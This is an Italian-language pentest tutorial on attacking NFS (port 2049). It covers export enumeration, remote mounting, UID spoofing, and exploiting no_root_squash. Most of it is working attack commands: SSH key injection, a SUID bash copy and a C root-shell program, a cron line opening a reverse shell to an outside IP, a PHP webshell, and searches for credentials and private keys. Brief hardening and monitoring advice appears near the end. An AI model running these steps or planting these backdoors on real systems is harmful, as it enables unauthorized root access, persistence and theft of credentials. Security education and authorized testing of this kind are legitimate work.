networking

Porta 2049 NFS: Pentest, no_root_squash e Lateral Movement

Porta 2049 NFS: Pentest, no_root_squash e Lateral Movement

Porta 2049 NFS nel pentest: export enumeration, mount remoto, UID spoofing, no_root_squash, SSH key injection e privesc Linux.

  • Pubblicato il 2026-04-12
  • Tempo di lettura: 6 min

Executive Summary — NFS (Network File System) è un protocollo che permette ai sistemi Unix/Linux di condividere directory via rete come se fossero locali. Gira sulla porta TCP/UDP 2049 (nelle versioni moderne; NFSv3 e precedenti usavano anche le porte RPC dinamiche tramite portmapper sulla porta 111). Nel pentest, un export NFS mal configurato è uno dei path più rapidi verso root: se la share è montabile senza restrizioni e usa no_root_squash, puoi iniettare una chiave SSH in /root/.ssh/authorized_keys o creare un SUID binary — root in 2 minuti. Anche senza no_root_squash, un export leggibile espone file di configurazione, credenziali, chiavi private e backup.

Cos’è showmount (NFS enumeration)

  • showmount -e target → lista le directory condivise e chi può montarle
  • Se trovi * o la tua subnet nelle restrizioni → puoi montare la share
  • no_root_squash = root sulla tua macchina è root sulla share = compromissione totale

Cos’è NFS e Come Funziona #

NFS è il protocollo standard per la condivisione di file in ambienti Unix/Linux. Funziona così:

text
Server NFS                          Client NFS
┌──────────────┐                    ┌──────────────┐
│ /home/        │ ── export ──►     │ mount -t nfs │
│ /backup/      │                   │ server:/home │
│ /var/www/     │ ◄── read/write ── │ /mnt/nfs     │
└──────────────┘                    └──────────────┘

Il server decide cosa condividere nel file /etc/exports. Il client monta la directory remota come se fosse locale. Il problema: NFS si fida dell’UID/GID del client — non c’è autenticazione forte. Se il server dice “la directory è accessibile a chiunque” (*), chiunque sulla rete può montarla.

Versioni NFS #

VersionePortaAutenticazioneNote
NFSv22049 + RPC dinamicheUID/GIDVecchio, insicuro
NFSv32049 + RPC dinamicheUID/GIDAncora molto diffuso
NFSv4Solo 2049Kerberos opzionaleModerno ma spesso configurato senza Kerberos

NFSv2/v3 dipendono da portmapper (porta 111) per le porte RPC. NFSv4 usa solo la 2049.

1. Enumerazione #

Nmap #

bash
nmap -sV -p 111,2049 --script=nfs-ls,nfs-showmount,nfs-statfs 10.10.10.40
text
PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2-4 (RPC #100000)
2049/tcp open  nfs     3-4 (RPC #100003)

| nfs-showmount:
|   /home *
|   /backup 10.10.10.0/24
|   /var/www *
|_

| nfs-ls: Volume /home
|   access  uid   gid   size  time               filename
|   rwxr-x  1001  1001  4096  2026-01-15T10:00  j.smith
|   rwxr-x  1002  1002  4096  2026-01-14T09:30  admin
|   rwxr-x  1003  1003  4096  2026-01-10T08:00  svc_backup

Lettura: tre export. /home e /var/www accessibili a * (chiunque). /backup solo alla subnet 10.10.10.0/24. Se sei nella subnet, le monti tutte.

showmount #

bash
showmount -e 10.10.10.40
text
Export list for 10.10.10.40:
/home    *
/backup  10.10.10.0/24
/var/www *

rpcinfo #

bash
rpcinfo -p 10.10.10.40
text
   program vers proto   port  service
    100000    4   tcp    111  portmapper
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100005    3   tcp  20048  mountd
    100021    4   tcp  42345  nlockmgr

mountd sulla 20048 — il servizio che gestisce le richieste di mount. nlockmgr gestisce i lock sui file.

2. Mount della Share #

Mount base #

bash
# Crea il punto di mount
mkdir -p /tmp/nfs_home

# Monta la share
mount -t nfs 10.10.10.40:/home /tmp/nfs_home
bash
# Se NFSv3:
mount -t nfs -o vers=3 10.10.10.40:/home /tmp/nfs_home

# Se NFSv4:
mount -t nfs4 10.10.10.40:/home /tmp/nfs_home

# Se la share richiede no-lock (comune su NFS vecchi):
mount -t nfs -o nolock 10.10.10.40:/home /tmp/nfs_home

Esplora il contenuto #

bash
ls -la /tmp/nfs_home/
text
drwxr-xr-x 4 1001 1001 4096 Jan 15 10:00 j.smith
drwxr-x--- 3 1002 1002 4096 Jan 14 17:45 admin
drwxr-xr-x 2 1003 1003 4096 Jan 10 09:00 svc_backup

Nota: vedi UID numerici (1001, 1002, 1003) invece dei nomi perché gli utenti non esistono sulla tua macchina. La directory admin ha permessi --- per others — non puoi leggerla con il tuo utente. Ma con UID spoofing sì.

Cosa cercare subito #

bash
# Chiavi SSH
find /tmp/nfs_home -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null
bash
# File di configurazione con credenziali
find /tmp/nfs_home -name "*.conf" -o -name "*.env" -o -name "*.cnf" -o -name "*.yml" -o -name "*.ini" 2>/dev/null
bash
# History con password
find /tmp/nfs_home -name ".bash_history" -exec cat {} \; 2>/dev/null | grep -iE "pass|mysql|ssh|sudo|curl.*auth"
bash
# File interessanti
find /tmp/nfs_home -name "*.bak" -o -name "*.sql" -o -name "*.dump" -o -name "*.zip" -o -name "*.tar.gz" 2>/dev/null

Se trovi chiavi SSH private → login diretto via SSH. Se trovi credenziali DB → test su MySQL / MSSQL. Se trovi password in .bash_history → testa ovunque (SSH, SMB, web login).

Mount della share /var/www #

bash
mkdir -p /tmp/nfs_www
mount -t nfs 10.10.10.40:/var/www /tmp/nfs_www
bash
# Credenziali web application
cat /tmp/nfs_www/html/wp-config.php 2>/dev/null
cat /tmp/nfs_www/html/.env 2>/dev/null
cat /tmp/nfs_www/html/config.php 2>/dev/null
text
define('DB_USER', 'wp_user');
define('DB_PASSWORD', 'WpDbP@ss2025!');
define('DB_HOST', 'localhost');

3. UID Spoofing — Leggere File di Qualsiasi Utente #

NFS non autentica l’utente — si fida dell’UID. Se la directory di admin (UID 1002) è leggibile solo da UID 1002, basta creare un utente locale con UID 1002.

Tecnica #

bash
# La directory admin ha permessi rwxr-x--- (owner: 1002)
ls -la /tmp/nfs_home/admin
# drwxr-x--- 3 1002 1002 4096 Jan 14 17:45 admin
# → Permission denied con il tuo utente

# Crea un utente locale con UID 1002
useradd -u 1002 fakeadmin

# Cambia utente
su fakeadmin

# Ora puoi leggere la directory
ls -la /tmp/nfs_home/admin/
text
-rw------- 1 1002 1002  1675 Jan 14 10:00 .ssh/id_rsa
-rw-r--r-- 1 1002 1002   400 Jan 14 10:00 .ssh/authorized_keys
-rw------- 1 1002 1002  5234 Jan 14 17:45 .bash_history
-rw-r--r-- 1 1002 1002   234 Jan 10 09:00 notes.txt
bash
# Leggi la chiave SSH privata
cat /tmp/nfs_home/admin/.ssh/id_rsa
text
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtz
...
-----END OPENSSH PRIVATE KEY-----
bash
# Connettiti al target
chmod 600 /tmp/admin_key
ssh -i /tmp/admin_key admin@10.10.10.40

Automatizzare per tutti gli UID #

bash
# Crea utenti per tutti gli UID trovati
for uid in 1001 1002 1003; do
    useradd -u $uid user_$uid 2>/dev/null
    echo "=== UID $uid ==="
    su user_$uid -c "find /tmp/nfs_home -user $uid -readable -type f 2>/dev/null"
done

4. no_root_squash — Root Diretto #

Cos’è root_squash #

Di default, NFS rimappa l’UID 0 (root) del client all’UID nobody (65534) sul server. Questo si chiama root_squash — impedisce che root sul client sia root sui file del server.

no_root_squash disabilita questa protezione: root sul client = root sui file del server.

Verifica #

Non puoi vedere no_root_squash da remoto con showmount. Devi montare la share e testare:

bash
# Monta come root
mount -t nfs 10.10.10.40:/home /tmp/nfs_home

# Testa scrittura come root
touch /tmp/nfs_home/test_root_file
ls -la /tmp/nfs_home/test_root_file

Se il file è di proprietà root:rootno_root_squash è attivo. Se il file è di proprietà nobody:nogrouproot_squash è attivo (default).

bash
# Pulizia
rm /tmp/nfs_home/test_root_file

Exploitation: SSH Key Injection #

bash
# Crea directory SSH per root se non esiste
mkdir -p /tmp/nfs_home/../root/.ssh 2>/dev/null

# Se /home è l'export e root ha la home in /root (tipicamente fuori da /home),
# questa tecnica funziona se l'export è "/" o "/root"

# Se l'export include la home di un utente:
mkdir -p /tmp/nfs_home/j.smith/.ssh

# Genera chiave SSH
ssh-keygen -t rsa -f /tmp/nfs_key -N ""

# Inietta la chiave pubblica
cat /tmp/nfs_key.pub >> /tmp/nfs_home/j.smith/.ssh/authorized_keys
chmod 700 /tmp/nfs_home/j.smith/.ssh
chmod 600 /tmp/nfs_home/j.smith/.ssh/authorized_keys
# Imposta owner corretto (UID di j.smith)
chown -R 1001:1001 /tmp/nfs_home/j.smith/.ssh

# Connettiti
ssh -i /tmp/nfs_key j.smith@10.10.10.40

Exploitation: SUID Backdoor (la tecnica più potente) #

Con no_root_squash, puoi creare un SUID binary sulla share — quando viene eseguito sul server, gira come root.

bash
# Sulla tua macchina: copia bash sulla share
cp /bin/bash /tmp/nfs_home/suid_bash

# Imposta SUID e owner root
chown root:root /tmp/nfs_home/suid_bash
chmod 4755 /tmp/nfs_home/suid_bash
bash
# Verifica
ls -la /tmp/nfs_home/suid_bash
# -rwsr-xr-x 1 root root 1234567 Jan 15 12:00 suid_bash
bash
# Sul target (dopo SSH come j.smith o qualsiasi utente):
/home/suid_bash -p
text
suid_bash-5.0# id
uid=1001(j.smith) gid=1001(j.smith) euid=0(root)
# euid=0 → root effettivo

Il flag -p è fondamentale: senza -p, bash droppa i privilegi SUID. Con -p li mantiene.

Alternativa — SUID C binary:

c
// shell.c — più affidabile di bash SUID
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
bash
gcc -o /tmp/nfs_home/rootshell shell.c
chown root:root /tmp/nfs_home/rootshell
chmod 4755 /tmp/nfs_home/rootshell

Sul target:

bash
/home/rootshell
# root@target:#

Per la tecnica completa della SUID exploitation: linux privilege escalation.

Exploitation: Cron Backdoor #

Se l’export include /etc o una directory con script cron:

bash
# Scrivi uno script cron
echo '* * * * * root bash -i >& /dev/tcp/10.10.10.200/4444 0>&1' >> /tmp/nfs_etc/crontab

Exploitation: Webshell via /var/www #

Se /var/www è esportato con no_root_squash:

bash
echo '<?php system($_GET["c"]); ?>' > /tmp/nfs_www/html/cmd.php
bash
curl "http://10.10.10.40/cmd.php?c=id"

RCE come www-data. Poi privesc.

5. NFS nella Privilege Escalation Locale #

Se sei già sul server e trovi NFS configurato:

bash
cat /etc/exports
text
/home *(rw,no_root_squash)
/backup 10.10.10.0/24(rw,sync)
/var/www *(rw,sync)

no_root_squash sulla share /home → dalla tua macchina esterna, monta e piazza il SUID. Sul target, esegui → root.

Questo è uno dei check standard nella linux enumeration.

6. Detection & Hardening #

Blue Team — Cosa monitorare #

text
- Mount da IP non autorizzati (log NFS/mountd)
- File con SUID creati su share NFS
- Modifiche a authorized_keys via NFS
- Access da UID 0 su share con root_squash (anomalia)

Hardening #

text
# /etc/exports sicuro:
/home 10.10.10.50(rw,root_squash,sync)    ← solo 1 IP, root_squash
/backup 10.10.10.0/24(ro,root_squash)     ← read-only per backup

# MAI usare:
/home *(rw,no_root_squash)                ← chiunque, root = root
  • Restringi gli IP/subnet che possono montare
  • Usa root_squash sempre (è il default ma verifica)
  • Export read-only dove possibile (ro)
  • NFSv4 con autenticazione Kerberos
  • Firewall sulla porta 2049

7. Cheat Sheet Finale #

AzioneComando
Lista exportshowmount -e target
Nmap NFSnmap -sV -p 2049 --script=nfs-* target
Mount NFSv3mount -t nfs -o vers=3,nolock target:/share /mnt
Mount NFSv4mount -t nfs4 target:/share /mnt
UID spoofuseradd -u UID fakeuser; su fakeuser
Test no_root_squashtouch /mnt/test; ls -la /mnt/test (root owner = no_squash)
SUID backdoorcp /bin/bash /mnt/suid; chown root; chmod 4755
SSH key injectcat key.pub >> /mnt/user/.ssh/authorized_keys
Cerca credenzialigrep -riE "password|secret" /mnt/
Cerca SSH keysfind /mnt -name "id_rsa"
Verifica exports (locale)cat /etc/exports

Riferimento: NFSv4 RFC 7530, HackTricks NFS, OSCP methodology. Uso esclusivo in ambienti autorizzati. https://www.verylazytech.com/nfs-service-port-2049

hackita.it/supportohackita.it/servizi.

#no_root_squash #UID Spoofing #NFS Exports

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.